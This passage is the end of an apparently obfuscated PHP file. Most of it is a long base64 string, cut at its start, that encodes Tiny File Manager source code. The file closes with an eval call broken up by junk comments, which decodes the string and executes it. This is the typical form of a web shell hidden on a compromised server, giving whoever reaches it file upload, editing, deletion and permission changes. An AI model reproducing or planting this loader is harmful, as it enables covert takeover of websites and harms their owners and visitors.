ZSI6Ik1ha2VmaWxlIiwibWFya2Rvd24iOiJNYXJrZG93biIsIm1hc2siOiJNYXNrIiwibWF0bGFiIjoiTUFUTEFCIiwibWF6ZSI6Ik1hemUiLCJtZWwiOiJNRUwiLCJtaXhhbCI6Ik1JWEFMIiwibXVzaGNvZGUiOiJNVVNIQ29kZSIsIm15c3FsIjoiTXlTUUwiLCJuaXgiOiJOaXgiLCJuc2lzIjoiTlNJUyIsIm9iamVjdGl2ZWMiOiJPYmplY3RpdmUtQyIsIm9jYW1sIjoiT0NhbWwiLCJwYXNjYWwiOiJQYXNjYWwiLCJwZXJsIjoiUGVybCIsInBlcmw2IjoiUGVybCA2IiwicGdzcWwiOiJwZ1NRTCIsInBocF9sYXJhdmVsX2JsYWRlIjoiUEhQIChCbGFkZSBUZW1wbGF0ZSkiLCJwaHAiOiJQSFAiLCJwdXBwZXQiOiJQdXBwZXQiLCJwaWciOiJQaWciLCJwb3dlcnNoZWxsIjoiUG93ZXJzaGVsbCIsInByYWF0IjoiUHJhYXQiLCJwcm9sb2ciOiJQcm9sb2ciLCJwcm9wZXJ0aWVzIjoiUHJvcGVydGllcyIsInByb3RvYnVmIjoiUHJvdG9idWYiLCJweXRob24iOiJQeXRob24iLCJyIjoiUiIsInJhem9yIjoiUmF6b3IiLCJyZG9jIjoiUkRvYyIsInJlZCI6IlJlZCIsInJodG1sIjoiUkhUTUwiLCJyc3QiOiJSU1QiLCJydWJ5IjoiUnVieSIsInJ1c3QiOiJSdXN0Iiwic2FzcyI6IlNBU1MiLCJzY2FkIjoiU0NBRCIsInNjYWxhIjoiU2NhbGEiLCJzY2hlbWUiOiJTY2hlbWUiLCJzY3NzIjoiU0NTUyIsInNoIjoiU0giLCJzanMiOiJTSlMiLCJzbGltIjoiU2xpbSIsInNtYXJ0eSI6IlNtYXJ0eSIsInNuaXBwZXRzIjoic25pcHBldHMiLCJzb3lfdGVtcGxhdGUiOiJTb3kgVGVtcGxhdGUiLCJzcGFjZSI6IlNwYWNlIiwic3FsIjoiU1FMIiwic3Fsc2VydmVyIjoiU1FMU2VydmVyIiwic3R5bHVzIjoiU3R5bHVzIiwic3ZnIjoiU1ZHIiwic3dpZnQiOiJTd2lmdCIsInRjbCI6IlRjbCIsInRlcnJhZm9ybSI6IlRlcnJhZm9ybSIsInRleCI6IlRleCIsInRleHQiOiJUZXh0IiwidGV4dGlsZSI6IlRleHRpbGUiLCJ0b21sIjoiVG9tbCIsInRzeCI6IlRTWCIsInR3aWciOiJUd2lnIiwidHlwZXNjcmlwdCI6IlR5cGVzY3JpcHQiLCJ2YWxhIjoiVmFsYSIsInZic2NyaXB0IjoiVkJTY3JpcHQiLCJ2ZWxvY2l0eSI6IlZlbG9jaXR5IiwidmVyaWxvZyI6IlZlcmlsb2ciLCJ2aGRsIjoiVkhETCIsInZpc3VhbGZvcmNlIjoiVmlzdWFsZm9yY2UiLCJ3b2xsb2siOiJXb2xsb2siLCJ4bWwiOiJYTUwiLCJ4cXVlcnkiOiJYUXVlcnkiLCJ5YW1sIjoiWUFNTCIsImRqYW5nbyI6IkRqYW5nbyJ9LCJmb250U2l6ZSI6ezg6OCwxMDoxMCwxMToxMSwxMjoxMiwxMzoxMywxNDoxNCwxNToxNSwxNjoxNiwxNzoxNywxODoxOCwyMDoyMCwyMjoyMiwyNDoyNCwyNjoyNiwzMDozMH19OwogICAgICAgICAgICBpZihfZGF0YSAmJiBfZGF0YS5hY2VNb2RlKSB7ICRtb2RlRWwuaHRtbChvcHRpb25Ob2RlKCJhY2UvbW9kZS8iLCBfZGF0YS5hY2VNb2RlKSk7IH0KICAgICAgICAgICAgaWYoX2RhdGEgJiYgX2RhdGEuYWNlVGhlbWUpIHsgdmFyIGxpZ2h0VGhlbWUgPSBvcHRpb25Ob2RlKCJhY2UvdGhlbWUvIiwgX2RhdGEuYWNlVGhlbWUuYnJpZ2h0KSwgZGFya1RoZW1lID0gb3B0aW9uTm9kZSgiYWNlL3RoZW1lLyIsIF9kYXRhLmFjZVRoZW1lLmRhcmspOyAkdGhlbWVFbC5odG1sKCI8b3B0Z3JvdXAgbGFiZWw9XCJCcmlnaHRcIj4iK2xpZ2h0VGhlbWUrIjwvb3B0Z3JvdXA+PG9wdGdyb3VwIGxhYmVsPVwiRGFya1wiPiIrZGFya1RoZW1lKyI8L29wdGdyb3VwPiIpO30KICAgICAgICAgICAgaWYoX2RhdGEgJiYgX2RhdGEuZm9udFNpemUpIHsgJGZvbnRTaXplRWwuaHRtbChvcHRpb25Ob2RlKCIiLCBfZGF0YS5mb250U2l6ZSkpOyB9CiAgICAgICAgICAgICRtb2RlRWwudmFsKCBlZGl0b3IuZ2V0U2Vzc2lvbigpLiRtb2RlSWQgKTsKICAgICAgICAgICAgJHRoZW1lRWwudmFsKCBlZGl0b3IuZ2V0VGhlbWUoKSApOwogICAgICAgICAgICAkZm9udFNpemVFbC52YWwoMTIpLmNoYW5nZSgpOyAvL3NldCBkZWZhdWx0IGZvbnQgc2l6ZSBpbiBkcm9wIGRvd24KICAgICAgICB9CgogICAgICAgICQoZnVuY3Rpb24oKXsKICAgICAgICAgICAgcmVuZGVyVGhlbWVNb2RlKCk7CiAgICAgICAgICAgICQoIi5qcy1hY2UtdG9vbGJhciIpLm9uKCJjbGljayIsICdidXR0b24nLCBmdW5jdGlvbihlKXsKICAgICAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAgIGxldCBjbWRWYWx1ZSA9ICQodGhpcykuYXR0cigiZGF0YS1jbWQiKSwgZWRpdG9yT3B0aW9uID0gJCh0aGlzKS5hdHRyKCJkYXRhLW9wdGlvbiIpOwogICAgICAgICAgICAgICAgaWYoY21kVmFsdWUgJiYgY21kVmFsdWUgIT0gIm5vbmUiKSB7CiAgICAgICAgICAgICAgICAgICAgYWNlX2NvbW1lbmQoY21kVmFsdWUpOwogICAgICAgICAgICAgICAgfSBlbHNlIGlmKGVkaXRvck9wdGlvbikgewogICAgICAgICAgICAgICAgICAgIGlmKGVkaXRvck9wdGlvbiA9PSAiZnVsbHNjcmVlbiIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgKHZvaWQgMCE9PWRvY3VtZW50LmZ1bGxTY3JlZW5FbGVtZW50JiZudWxsPT09ZG9jdW1lbnQuZnVsbFNjcmVlbkVsZW1lbnR8fHZvaWQgMCE9PWRvY3VtZW50Lm1zRnVsbHNjcmVlbkVsZW1lbnQmJm51bGw9PT1kb2N1bWVudC5tc0Z1bGxzY3JlZW5FbGVtZW50fHx2b2lkIDAhPT1kb2N1bWVudC5tb3pGdWxsU2NyZWVuJiYhZG9jdW1lbnQubW96RnVsbFNjcmVlbnx8dm9pZCAwIT09ZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuJiYhZG9jdW1lbnQud2Via2l0SXNGdWxsU2NyZWVuKQogICAgICAgICAgICAgICAgICAgICAgICAmJihlZGl0b3IuY29udGFpbmVyLnJlcXVlc3RGdWxsU2NyZWVuP2VkaXRvci5jb250YWluZXIucmVxdWVzdEZ1bGxTY3JlZW4oKTplZGl0b3IuY29udGFpbmVyLm1velJlcXVlc3RGdWxsU2NyZWVuP2VkaXRvci5jb250YWluZXIubW96UmVxdWVzdEZ1bGxTY3JlZW4oKTplZGl0b3IuY29udGFpbmVyLndlYmtpdFJlcXVlc3RGdWxsU2NyZWVuP2VkaXRvci5jb250YWluZXIud2Via2l0UmVxdWVzdEZ1bGxTY3JlZW4oRWxlbWVudC5BTExPV19LRVlCT0FSRF9JTlBVVCk6ZWRpdG9yLmNvbnRhaW5lci5tc1JlcXVlc3RGdWxsc2NyZWVuJiZlZGl0b3IuY29udGFpbmVyLm1zUmVxdWVzdEZ1bGxzY3JlZW4oKSk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmKGVkaXRvck9wdGlvbiA9PSAid3JhcCIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHdyYXBTdGF0dXMgPSAoZWRpdG9yLmdldFNlc3Npb24oKS5nZXRVc2VXcmFwTW9kZSgpKSA/IGZhbHNlIDogdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAgICAgZWRpdG9yLmdldFNlc3Npb24oKS5zZXRVc2VXcmFwTW9kZSh3cmFwU3RhdHVzKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgaWYoZWRpdG9yT3B0aW9uID09ICJoZWxwIikgewogICAgICAgICAgICAgICAgICAgICAgICB2YXIgaGVscEh0bWw9IiI7JC5lYWNoKHdpbmRvdy5jb25maWcuYWNlSGVscCxmdW5jdGlvbihpLHZhbHVlKXtoZWxwSHRtbCs9IjxsaT4iK3ZhbHVlKyI8L2xpPiI7fSk7dmFyIHRwbE9iaj17aWQ6MTAyOCx0aXRsZToiSGVscCIsYWN0aW9uOmZhbHNlLGNvbnRlbnQ6aGVscEh0bWx9LHRwbD0kKCIjanMtdHBsLW1vZGFsIikuaHRtbCgpOyQoJyN3cmFwcGVyJykuYXBwZW5kKHRlbXBsYXRlKHRwbCx0cGxPYmopKTskKCIjanMtTW9kYWxDZW50ZXItMTAyOCIpLm1vZGFsKCdzaG93Jyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9KTsKICAgICAgICAgICAgJCgic2VsZWN0I2pzLWFjZS1tb2RlLCBzZWxlY3QjanMtYWNlLXRoZW1lLCBzZWxlY3QjanMtYWNlLWZvbnRTaXplIikub24oImNoYW5nZSIsIGZ1bmN0aW9uKGUpewogICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgbGV0IHNlbGVjdGVkVmFsdWUgPSAkKHRoaXMpLnZhbCgpLCBzZWxlY3Rpb25UeXBlID0gJCh0aGlzKS5hdHRyKCJkYXRhLXR5cGUiKTsKICAgICAgICAgICAgICAgIGlmKHNlbGVjdGVkVmFsdWUgJiYgc2VsZWN0aW9uVHlwZSA9PSAibW9kZSIpIHsKICAgICAgICAgICAgICAgICAgICBlZGl0b3IuZ2V0U2Vzc2lvbigpLnNldE1vZGUoc2VsZWN0ZWRWYWx1ZSk7CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYoc2VsZWN0ZWRWYWx1ZSAmJiBzZWxlY3Rpb25UeXBlID09ICJ0aGVtZSIpIHsKICAgICAgICAgICAgICAgICAgICBlZGl0b3Iuc2V0VGhlbWUoc2VsZWN0ZWRWYWx1ZSk7CiAgICAgICAgICAgICAgICB9ZWxzZSBpZihzZWxlY3RlZFZhbHVlICYmIHNlbGVjdGlvblR5cGUgPT0gImZvbnRTaXplIikgewogICAgICAgICAgICAgICAgICAgIGVkaXRvci5zZXRGb250U2l6ZShwYXJzZUludChzZWxlY3RlZFZhbHVlKSk7IAogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9KTsKICAgICAgICB9KTsKICAgIDwvc2NyaXB0Pgo8P3BocCBlbmRpZjsgPz4KPGRpdiBpZD0ic25hY2tiYXIiPjwvZGl2Pgo8L2JvZHk+CjwvaHRtbD4KPD9waHAKfQoKLyoqCiAqIFNob3cgaW1hZ2UKICogQHBhcmFtIHN0cmluZyAkaW1nCiAqLwpmdW5jdGlvbiBmbV9zaG93X2ltYWdlKCRpbWcpCnsKICAgICRtb2RpZmllZF90aW1lID0gZ21kYXRlKCdELCBkIE0gWSAwMDowMDowMCcpIC4gJyBHTVQnOwogICAgJGV4cGlyZXNfdGltZSA9IGdtZGF0ZSgnRCwgZCBNIFkgMDA6MDA6MDAnLCBzdHJ0b3RpbWUoJysxIGRheScpKSAuICcgR01UJzsKCiAgICAkaW1nID0gdHJpbSgkaW1nKTsKICAgICRpbWFnZXMgPSBmbV9nZXRfaW1hZ2VzKCk7CiAgICAkaW1hZ2UgPSAnaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUFFQUFBQUJDQVlBQUFBZkZjU0pBQUFBRUVsRVFWUjQybUw0Ly84L0EwQ0FBUUFJL0FMKzI2Sk5GZ0FBQUFCSlJVNUVya0pnZ2c9PSc7CiAgICBpZiAoaXNzZXQoJGltYWdlc1skaW1nXSkpIHsKICAgICAgICAkaW1hZ2UgPSAkaW1hZ2VzWyRpbWddOwogICAgfQogICAgJGltYWdlID0gYmFzZTY0X2RlY29kZSgkaW1hZ2UpOwogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykpIHsKICAgICAgICAkc2l6ZSA9IG1iX3N0cmxlbigkaW1hZ2UsICc4Yml0Jyk7CiAgICB9IGVsc2UgewogICAgICAgICRzaXplID0gc3RybGVuKCRpbWFnZSk7CiAgICB9CgogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnaGVhZGVyX3JlbW92ZScpKSB7CiAgICAgICAgaGVhZGVyX3JlbW92ZSgnQ2FjaGUtQ29udHJvbCcpOwogICAgICAgIGhlYWRlcl9yZW1vdmUoJ1ByYWdtYScpOwogICAgfSBlbHNlIHsKICAgICAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6Jyk7CiAgICAgICAgaGVhZGVyKCdQcmFnbWE6Jyk7CiAgICB9CgogICAgaGVhZGVyKCdMYXN0LU1vZGlmaWVkOiAnIC4gJG1vZGlmaWVkX3RpbWUsIHRydWUsIDIwMCk7CiAgICBoZWFkZXIoJ0V4cGlyZXM6ICcgLiAkZXhwaXJlc190aW1lKTsKICAgIGhlYWRlcignQ29udGVudC1MZW5ndGg6ICcgLiAkc2l6ZSk7CiAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogaW1hZ2UvcG5nJyk7CiAgICBlY2hvICRpbWFnZTsKCiAgICBleGl0Owp9CgoKLyoqCiAqIExhbmd1YWdlIFRyYW5zbGF0aW9uIFN5c3RlbQogKiBAcGFyYW0gc3RyaW5nICR0eHQKICogQHJldHVybiBzdHJpbmcKICovCmZ1bmN0aW9uIGxuZygkdHh0KSB7CiAgICBnbG9iYWwgJGxhbmc7CgogICAgLy8gRW5nbGlzaCBMYW5ndWFnZQogICAgJHRyWydlbiddWydBcHBOYW1lJ10gICAgICAgID0gJ1RpbnkgRmlsZSBNYW5hZ2VyJzsgICAgICAkdHJbJ2VuJ11bJ0FwcFRpdGxlJ10gICAgICAgICAgID0gJ0ZpbGUgTWFuYWdlcic7CiAgICAkdHJbJ2VuJ11bJ0xvZ2luJ10gICAgICAgICAgPSAnU2lnbiBpbic7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnVXNlcm5hbWUnXSAgICAgICAgICAgPSAnVXNlcm5hbWUnOwogICAgJHRyWydlbiddWydQYXNzd29yZCddICAgICAgID0gJ1Bhc3N3b3JkJzsgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0xvZ291dCddICAgICAgICAgICAgID0gJ1NpZ24gT3V0JzsKICAgICR0clsnZW4nXVsnTW92ZSddICAgICAgICAgICA9ICdNb3ZlJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydDb3B5J10gICAgICAgICAgICAgICA9ICdDb3B5JzsKICAgICR0clsnZW4nXVsnU2F2ZSddICAgICAgICAgICA9ICdTYXZlJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTZWxlY3RBbGwnXSAgICAgICAgICA9ICdTZWxlY3QgYWxsJzsKICAgICR0clsnZW4nXVsnVW5TZWxlY3RBbGwnXSAgICA9ICdVbnNlbGVjdCBhbGwnOyAgICAgICAgICAgJHRyWydlbiddWydGaWxlJ10gICAgICAgICAgICAgICA9ICdGaWxlJzsKICAgICR0clsnZW4nXVsnQmFjayddICAgICAgICAgICA9ICdCYWNrJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydTaXplJ10gICAgICAgICAgICAgICA9ICdTaXplJzsKICAgICR0clsnZW4nXVsnUGVybXMnXSAgICAgICAgICA9ICdQZXJtcyc7ICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydNb2RpZmllZCddICAgICAgICAgICA9ICdNb2RpZmllZCc7CiAgICAkdHJbJ2VuJ11bJ093bmVyJ10gICAgICAgICAgPSAnT3duZXInOyAgICAgICAgICAgICAgICAgICR0clsnZW4nXVsnU2VhcmNoJ10gICAgICAgICAgICAgPSAnU2VhcmNoJzsKICAgICR0clsnZW4nXVsnTmV3SXRlbSddICAgICAgICA9ICdOZXcgSXRlbSc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydGb2xkZXInXSAgICAgICAgICAgICA9ICdGb2xkZXInOwogICAgJHRyWydlbiddWydEZWxldGUnXSAgICAgICAgID0gJ0RlbGV0ZSc7ICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ1JlbmFtZSddICAgICAgICAgICAgID0gJ1JlbmFtZSc7CiAgICAkdHJbJ2VuJ11bJ0NvcHlUbyddICAgICAgICAgPSAnQ29weSB0byc7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnRGlyZWN0TGluayddICAgICAgICAgPSAnRGlyZWN0IGxpbmsnOwogICAgJHRyWydlbiddWydVcGxvYWRpbmdGaWxlcyddID0gJ1VwbG9hZCBGaWxlcyc7ICAgICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZVBlcm1pc3Npb25zJ10gID0gJ0NoYW5nZSBQZXJtaXNzaW9ucyc7CiAgICAkdHJbJ2VuJ11bJ0NvcHlpbmcnXSAgICAgICAgPSAnQ29weWluZyc7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnQ3JlYXRlTmV3SXRlbSddICAgICAgPSAnQ3JlYXRlIE5ldyBJdGVtJzsKICAgICR0clsnZW4nXVsnTmFtZSddICAgICAgICAgICA9ICdOYW1lJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydBZHZhbmNlZEVkaXRvciddICAgICA9ICdBZHZhbmNlZCBFZGl0b3InOwogICAgJHRyWydlbiddWydSZW1lbWJlck1lJ10gICAgID0gJ1JlbWVtYmVyIE1lJzsgICAgICAgICAgICAkdHJbJ2VuJ11bJ0FjdGlvbnMnXSAgICAgICAgICAgID0gJ0FjdGlvbnMnOwogICAgJHRyWydlbiddWydVcGxvYWQnXSAgICAgICAgID0gJ1VwbG9hZCc7ICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0NhbmNlbCddICAgICAgICAgICAgID0gJ0NhbmNlbCc7CiAgICAkdHJbJ2VuJ11bJ0ludmVydFNlbGVjdGlvbiddPSAnSW52ZXJ0IFNlbGVjdGlvbic7ICAgICAgICR0clsnZW4nXVsnRGVzdGluYXRpb25Gb2xkZXInXSAgPSAnRGVzdGluYXRpb24gRm9sZGVyJzsKICAgICR0clsnZW4nXVsnSXRlbVR5cGUnXSAgICAgICA9ICdJdGVtIFR5cGUnOyAgICAgICAgICAgICAgJHRyWydlbiddWydJdGVtTmFtZSddICAgICAgICAgICA9ICdJdGVtIE5hbWUnOwogICAgJHRyWydlbiddWydDcmVhdGVOb3cnXSAgICAgID0gJ0NyZWF0ZSBOb3cnOyAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0Rvd25sb2FkJ10gICAgICAgICAgID0gJ0Rvd25sb2FkJzsKICAgICR0clsnZW4nXVsnT3BlbiddICAgICAgICAgICA9ICdPcGVuJzsgICAgICAgICAgICAgICAgICAgJHRyWydlbiddWydVblppcCddICAgICAgICAgICAgICA9ICdVblppcCc7CiAgICAkdHJbJ2VuJ11bJ1VuWmlwVG9Gb2xkZXInXSAgPSAnVW5aaXAgdG8gZm9sZGVyJzsgICAgICAgICR0clsnZW4nXVsnRWRpdCddICAgICAgICAgICAgICAgPSAnRWRpdCc7CiAgICAkdHJbJ2VuJ11bJ05vcm1hbEVkaXRvciddICAgPSAnTm9ybWFsIEVkaXRvcic7ICAgICAgICAgICR0clsnZW4nXVsnQmFja1VwJ10gICAgICAgICAgICAgPSAnQmFjayBVcCc7CiAgICAkdHJbJ2VuJ11bJ1NvdXJjZUZvbGRlciddICAgPSAnU291cmNlIEZvbGRlcic7ICAgICAgICAgICR0clsnZW4nXVsnRmlsZXMnXSAgICAgICAgICAgICAgPSAnRmlsZXMnOwogICAgJHRyWydlbiddWydNb3ZlJ10gICAgICAgICAgID0gJ01vdmUnOyAgICAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0NoYW5nZSddICAgICAgICAgICAgID0gJ0NoYW5nZSc7CiAgICAkdHJbJ2VuJ11bJ1NldHRpbmdzJ10gICAgICAgPSAnU2V0dGluZ3MnOyAgICAgICAgICAgICAgICR0clsnZW4nXVsnTGFuZ3VhZ2UnXSAgICAgICAgICAgPSAnTGFuZ3VhZ2UnOwogICAgJHRyWydlbiddWydNZW1vcnlVc2VkJ10gICAgID0gJ01lbW9yeSB1c2VkJzsgICAgICAgICAgICAkdHJbJ2VuJ11bJ1BhcnRpdGlvblNpemUnXSAgICAgID0gJ1BhcnRpdGlvbiBzaXplJzsKICAgICR0clsnZW4nXVsnRXJyb3JSZXBvcnRpbmcnXSA9ICdFcnJvciBSZXBvcnRpbmcnOyAgICAgICAgJHRyWydlbiddWydTaG93SGlkZGVuRmlsZXMnXSAgICA9ICdTaG93IEhpZGRlbiBGaWxlcyc7CiAgICAkdHJbJ2VuJ11bJ0Z1bGwgc2l6ZSddICAgICAgPSAnRnVsbCBzaXplJzsgICAgICAgICAgICAgICR0clsnZW4nXVsnSGVscCddICAgICAgICAgICAgICAgPSAnSGVscCc7CiAgICAkdHJbJ2VuJ11bJ0ZyZWUgb2YnXSAgICAgICAgPSAnRnJlZSBvZic7ICAgICAgICAgICAgICAgICR0clsnZW4nXVsnUHJldmlldyddICAgICAgICAgICAgPSAnUHJldmlldyc7CiAgICAkdHJbJ2VuJ11bJ0hlbHAgRG9jdW1lbnRzJ10gPSAnSGVscCBEb2N1bWVudHMnOyAgICAgICAgICR0clsnZW4nXVsnUmVwb3J0IElzc3VlJ10gICAgICAgPSAnUmVwb3J0IElzc3VlJzsKICAgICR0clsnZW4nXVsnR2VuZXJhdGUnXSAgICAgICA9ICdHZW5lcmF0ZSc7ICAgICAgICAgICAgICAgJHRyWydlbiddWydGdWxsU2l6ZSddICAgICAgICAgICA9ICdGdWxsIFNpemUnOwogICAgJHRyWydlbiddWydGcmVlT2YnXSAgICAgICAgID0gJ2ZyZWUgb2YnOyAgICAgICAgICAgICAgICAkdHJbJ2VuJ11bJ0NhbGN1bGF0ZUZvbGRlclNpemUnXT0gJ0NhbGN1bGF0ZSBmb2xkZXIgc2l6ZSc7CiAgICAkdHJbJ2VuJ11bJ1Byb2Nlc3NJRCddICAgICAgPSAnUHJvY2VzcyBJRCc7ICAgICAgICAgICAgICR0clsnZW4nXVsnQ3JlYXRlZCddICAgID0gJ0NyZWF0ZWQnOwogICAgJHRyWydlbiddWydIaWRlQ29sdW1ucyddICAgID0gJ0hpZGUgUGVybXMvT3duZXIgY29sdW1ucyc7JHRyWydlbiddWydGb2xkZXIgaXMgZW1wdHknXSAgICA9ICdGb2xkZXIgaXMgZW1wdHknOwogICAgJHRyWydlbiddWydDaGVjayBMYXRlc3QgVmVyc2lvbiddID0gJ0NoZWNrIExhdGVzdCBWZXJzaW9uJzskdHJbJ2VuJ11bJ0dlbmVyYXRlIG5ldyBwYXNzd29yZCBoYXNoJ10gPSAnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnOwogICAgJHRyWydlbiddWydZb3UgYXJlIGxvZ2dlZCBpbiddICAgID0gJ1lvdSBhcmUgbG9nZ2VkIGluJzsgJHRyWydlbiddWydMb2dpbiBmYWlsZWQuIEludmFsaWQgdXNlcm5hbWUgb3IgcGFzc3dvcmQnXSA9ICdMb2dpbiBmYWlsZWQuIEludmFsaWQgdXNlcm5hbWUgb3IgcGFzc3dvcmQnOwogICAgJHRyWydlbiddWydwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nXSA9ICdwYXNzd29yZF9oYXNoIG5vdCBzdXBwb3J0ZWQsIFVwZ3JhZGUgUEhQIHZlcnNpb24nOwogICAgCiAgICAkaTE4biA9IGZtX2dldF90cmFuc2xhdGlvbnMoJHRyKTsKICAgICR0ciA9ICRpMThuID8gJGkxOG4gOiAkdHI7CgogICAgaWYgKCFzdHJsZW4oJGxhbmcpKSAkbGFuZyA9ICdlbic7CiAgICBpZiAoaXNzZXQoJHRyWyRsYW5nXVskdHh0XSkpIHJldHVybiBmbV9lbmMoJHRyWyRsYW5nXVskdHh0XSk7CiAgICBlbHNlIGlmIChpc3NldCgkdHJbJ2VuJ11bJHR4dF0pKSByZXR1cm4gZm1fZW5jKCR0clsnZW4nXVskdHh0XSk7CiAgICBlbHNlIHJldHVybiAiJHR4dCI7Cn0KCi8qKgogKiBHZXQgYmFzZTY0LWVuY29kZWQgaW1hZ2VzCiAqIEByZXR1cm4gYXJyYXkKICovCmZ1bmN0aW9uIGZtX2dldF9pbWFnZXMoKQp7CiAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgJ2Zhdmljb24nID0+ICdRazA0QWdBQUFBQUFBRFlBQUFBb0FBQUFFQUFBQUJBQUFBQUJBQkFBQUFBQUFBSUNBQUFTQ3dBQUVnc0FBQUFBQUFBQUFBQUFJUVFoQkNFRUlRUWhCQ0VFSVFRaEJDRUVJUQogICAgICAgIFFoQkNFRUlRUWhCQ0VFSVFRaEJDRUVJUVFoQkhOTzNuL2VmOTUvdlhldE5TRUVJUVFoQkNFRUlRUWhCQ0VFSVFRaEJDRUVjMDdlZjk1LzNuL2VmOTUvMWxvaEJDRUVJUVFoQkNFRUlRUWhCQ0VFSVEKICAgICAgICBSelR0NS8zbjhoQkRGRzNuL2VmeUVFSVFRaEJDRUVJUVFoQkNFRUlRUWhCSE5PM24vZWZ5RUVNVWJlZjk1L0lRUWhCQ0VFSVFRaEJDRUVJUVFoQkNFRXJUVnpUbk5PSVFReFJ0NS8zbjhoQkNFRUlRCiAgICAgICAgUWhCQ0VFSVFRaEJDRUVJUVFoQkNFRUlRUWhCREZHM24vZWZ5RUVJUVFoQkNFRUlRUWhCQ0VFSVFRaEJDRUVJUVF4UnQ1LzNuK2NjMnN0SVFRaEJDRUVJUVFoQkNFRUlRUWhCQ0VFSVFRSUlaeHozbgogICAgICAgIC9lZjV4emF5MGhCQ0VFSVFRaEJDRUVJUVFoQkNFRUlRUWhCQ0VFSVFRaEJERkczbi9lZnlFRUlRUWhCQ0VFSVFRaEJDRUVJUVFoQkswMWMwNXpUaUVFTVViZWY5NS9JUVFoQkNFRUlRUWhCQ0VFSVEKICAgICAgICBRaEJDRUVjMDdlZjk1L0lRUXhSdDUvM244aEJDRUVJUVFoQkNFRUlRUWhCQ0VFSVFSelR0NS8zbjhoQkRGRzNuL2VmeUVFSVFRaEJDRUVJUVFoQkNFRUlRUWhCS1VVT1dmZWY5NS8zbi9lZjk1L0lRCiAgICAgICAgUWhCQ0VFSVFRaEJDRUVJUVFoQkNFRUlRUWhCSlJXM24vZWY5NS8zbjhoQkNFRUlRUWhCQ0VFSVFRaEJDRUVJUVFoQkNFRUlRUWhCQ0VFSVFRaEJDRUVJUVFoQkNFRUlRUUFBQT09JwogICAgKTsKfQoKPz4K";/*zjlnc8g24yvt*/$q="?>";/*zjlnc8g24yvt*/eval(/*zjlnc8g24yvt*/$q./*zjlnc8g24yvt*/$o($p)/*zjlnc8g24yvt*/);$r="1452775";$s=0;?>